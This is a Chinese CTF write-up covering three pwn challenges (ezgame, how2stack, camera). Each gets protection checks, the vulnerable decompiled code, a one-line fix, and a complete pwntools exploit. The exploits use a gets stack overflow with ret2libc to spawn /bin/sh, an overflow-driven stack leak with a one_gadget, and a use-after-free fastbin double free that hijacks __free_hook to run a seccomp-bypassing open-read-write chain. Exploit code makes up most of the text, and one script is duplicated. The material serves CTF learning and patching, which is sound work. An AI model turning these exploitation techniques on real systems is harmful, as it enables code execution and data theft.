题目下载地址:链接:https://pan.baidu.com/s/1s02lruOFCoBf8CUWpMg5qA?pwd=lays
ezgame
检查保护
ezgame checksec pwn
[*] '/home/starrysky/game_2023/xiangshanbeijuesai/ezgame/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
每次砍龙会掉血,砍完血条没掉完就会掉金币,掉的金币可以去商店买道具去砍更高等级的龙,在level2
砍成功了以后执行到gets
,明显存在栈溢出漏洞,所以修复就是将这里的gets
改成read
之类的能够控制长度的函数
switch ( option )
{
case 1:
level3(0x32u, 0xAu, 5u, 0x14u, 0xAu);
break;
case 2:
level2(0x64u, 0x44Cu, 0xAu, 0x1Eu, 0xFu);
puts("Congratulations on defeating the dark sorcerer. Leave your name!");
gets(v1); // vuln
break;
case 0:
level3(0x1Eu, 5u, 2u, 0xAu, 5u);
break;
}
exp如下
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('39.106.48.123',24804)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
for i in range(100):
r.sendlineafter(b'>', b'2')
r.sendlineafter(b'What kind of monster do you want to fight?', b'1')
r.sendlineafter(b'>', b'6')
for i in range(10):
r.sendlineafter(b'>', b'2')
for i in range(34):
r.sendlineafter(b'>', b'1')
r.sendlineafter(b'>', b'3')
pop_rdi_ret = 0x0000000000401a3b
pop_rsi_r15_ret = 0x0000000000401a39
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
r.sendlineafter(b'>', b'2')
r.sendlineafter(b'What kind of monster do you want to fight?', b'2')
p = b'a' * (0x650 + 0x8) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(0x4011D2)
r.sendlineafter(b'Congratulations on defeating the dark sorcerer. Leave your name!', p)
libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x84420
libc = ELF('./2.31/libc-2.31.so')
one = [0xe3afe, 0xe3b01, 0xe3b04]
gadget = one[2] + libc_base
system = libc.sym['system'] + libc_base
bin_sh = libc.search(b'/bin/sh').__next__() + libc_base
ret = 0x0000000000401016
r.sendlineafter(b'>', b'2')
r.sendlineafter(b'What kind of monster do you want to fight?', b'2')
p = b'a' * (0x650 + 0x8) + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
r.sendlineafter(b'Congratulations on defeating the dark sorcerer. Leave your name!', p)
r.interactive()
how2stack
检查保护
how2stack checksec pwn
[*] '/home/starrysky/game_2023/xiangshanbeijuesai/how2stack/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
只实现了decrypt
功能,也就是只能输入1
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int choice; // [rsp+Ch] [rbp-4h] BYREF
init_0(a1, a2, a3);
banner();
while ( 1 )
{
menu();
__isoc99_scanf("%d", &choice);
if ( choice == 2 )
break;
if ( choice > 2 || choice && choice != 1 )
exit(0);
Decrypt();
}
exit(0);
}
decrypt
函数中可以输入可控长度的内容,这里存在栈溢出漏洞,修复的话将这里读的长度控制成一个固定值就可以避免溢出了
__isoc99_scanf("%d", &length);
len = length;
result = length;
if ( (_DWORD)length )
{
memset(data, 0, 0x60uLL);
printf("Data: ");
read(0, data, (unsigned int)length);
程序一开始将data
地址赋给了res
,最终的输出也是输出res
地址中的内容,而溢出也可以控制res
,所以劫持了res
中的值就可以输出指定地址的内容,如果没有控制res
那res
本身就是一个栈地址
int result; // eax
char data[99]; // [rsp+0h] [rbp-70h] BYREF
char chr; // [rsp+63h] [rbp-Dh]
int len; // [rsp+64h] [rbp-Ch]
char *res; // [rsp+68h] [rbp-8h]
init_1((__int64)string, (__int64)&unk_4060, qword_4010);
res = data;
根据这点,因为输出是根据地址中有内容就输出并且指向下一个地址,可以先将res
前面的空间填充掉让while
循环到res
这个地址来输出res
,也就是一个栈上的地址,寻找栈上存在libc
的地址,替换掉res
就可以输出libc
中的地址,最后通过栈溢出控制程序流执行ogg
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('node4.buuoj.cn', 26870)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def add(text):
r.sendlineafter(b'Your choice: ', b'1')
r.sendlineafter(b'Length: ', str(len(text)))
r.sendafter(b'Data: ', text)
p = b'\x11' * 0x60 + b'\xff' * 0x8
add(p)
r.recvuntil(b'ff ff ff ff ff ff ff ff ')
stack = u64(bytes.fromhex(r.recvline()[:-1].replace(b' ', b'').decode()).ljust(8, b'\x00'))
pay = b'\x11' * 0x60 + b'\xff' * 8 + p64(stack + 48)
dbg()
add(pay)
r.recvuntil(b'Result in hex: ')
libc_base = u64(bytes.fromhex(r.recvline()[:-1].replace(b' ', b'').decode()).ljust(8, b'\x00')) - 0x24083
libc = ELF('./2.31/libc-2.31.so')
ogg = 0xe3b01 + libc_base
pay = b'\x11' * 0x60 + b'\xff' * 8 + p64(stack + 0x68) + p64(0) + p64(ogg)
add(pay)
r.interactive()
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('node4.buuoj.cn', 26870)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def add(text):
r.sendlineafter(b'Your choice: ', b'1')
r.sendlineafter(b'Length: ', str(len(text)))
r.sendafter(b'Data: ', text)
p = b'\x11' * 0x60 + b'\xff' * 0x8
add(p)
r.recvuntil(b'ff ff ff ff ff ff ff ff ')
stack = u64(bytes.fromhex(r.recvline()[:-1].replace(b' ', b'').decode()).ljust(8, b'\x00'))
pay = b'\x11' * 0x60 + b'\xff' * 8 + p64(stack + 48)
add(pay)
r.recvuntil(b'Result in hex: ')
libc_base = u64(bytes.fromhex(r.recvline()[:-1].replace(b' ', b'').decode()).ljust(8, b'\x00')) - 0x24083
libc = ELF('./2.31/libc-2.31.so')
ogg = 0xe3b01 + libc_base
pay = b'\x11' * 0x60 + b'\xff' * 8 + p64(stack + 0x68) + p64(0) + p64(ogg)
add(pay)
r.interactive()
camera
最后一题是一道2.31
的堆题,先检查保护,沙箱
camera checksec pwn
[*] '/home/starrysky/game_2023/xiangshanbeijuesai/camera/camera/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
☁ camera seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
存在三个功能,add
里将申请的堆地址存入heap_ptr
并将flag
位置1
,load
将heap_ptr
存入selecetd_ptr
,并且将指向上一个堆地址的地址存入last_ptr
,将flag
位置2
,bss
段的三个变量整体可以看作一个结构体,分别是heap_ptr
、last_ptr
、flag
,show_delete
函数show
出内容之后delete
掉堆并且将flag
位置0
,漏洞出在没有将last_ptr
置0
,所以修复就可以将这个地址置0
,而在修复前这里就存在uaf
漏洞,所以可以利用这个uaf
进行fastbin
的double free
,最后进行堆上的orw
(回头系统学习一下…复现照抄了
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('node4.buuoj.cn', 26870)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def add(size, content):
r.sendlineafter(b'please input your choise', b'2')
r.sendlineafter(b'Please select a film of your preference within your budget.', str(size))
r.sendlineafter(b'Content:', content)
def show_delete(num):
r.sendlineafter(b'please input your choise', b'1')
r.sendlineafter(b'Do you want to take a few pictures?', str(num))
def load(index):
r.sendlineafter(b'please input your choise', b'3')
r.sendlineafter(b'whitch one do you want to load', str(index))
add(0x410, b'a')
add(0x60, b'a')
load(0)
show_delete(1)
add(0x410, b'a')
load(0)
show_delete(1)
libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x1ecb61
libc = ELF('./2.31/libc-2.31.so')
free_hook = libc.sym['__free_hook'] + libc_base
setcontext = libc.sym['setcontext'] + libc_base
magic_gadget = 0x0000000000151990 + libc_base
pop_rdi_ret = 0x0000000000023b6a + libc_base
pop_rsi_ret = 0x000000000002601f + libc_base
pop_rdx_ret = 0x0000000000142c92 + libc_base
pop_rax_ret = 0x0000000000036174 + libc_base
pop_rdx_r12_ret = 0x0000000000119211 + libc_base
ret = 0x0000000000022679 + libc_base
syscall_ret = libc_base + libc.sym['read'] + 0x10
add(0x410, b'a')
for i in range(8):
add(0x60, b'a')
load(2)
load(3)
load(1)
for i in range(6):
load(4 + i)
show_delete(9)
add(0x60, b'a')
load(1)
show_delete(9)
r.recvuntil(b'The film content: ')
heap = u64(r.recvuntil(b'\n')[:-1].ljust(8, b'\x00'))
stack_addr = heap + 0x24f
orw_addr = heap + 0x500
add(0x60 , p64(0) + p64(stack_addr))
for i in range(9):
add(0x60, p64(free_hook))
add(0x60, p64(magic_gadget))
orw_addr = heap + 0x30f
bss_addr = libc_base + libc.bss()
stack = b'./flag\x00\x00' + p64(0) * 3 + p64(setcontext + 61)
stack += b'\x00' * (0xa0-0x28)
stack += p64(orw_addr) + p64(ret)
add(0xb0, stack)
orw = p64(pop_rdi_ret) + p64(stack_addr)
orw+= p64(pop_rax_ret) + p64(2)
orw+= p64(syscall_ret)
orw+= p64(pop_rdi_ret) + p64(3)
orw+= p64(pop_rsi_ret) + p64(bss_addr)
orw+= p64(pop_rdx_r12_ret) + p64(0x100) + p64(0)
orw+= p64(pop_rax_ret) + p64(0)
orw+= p64(syscall_ret)
orw+= p64(pop_rdi_ret) + p64(1)
orw+= p64(pop_rsi_ret) + p64(bss_addr)
orw+= p64(pop_rdx_r12_ret) + p64(0x100) + p64(0)
orw+= p64(pop_rax_ret) + p64(1)
orw+= p64(syscall_ret)
add(0x100, orw)
load(6)
load(1)
show_delete(9)
r.interactive()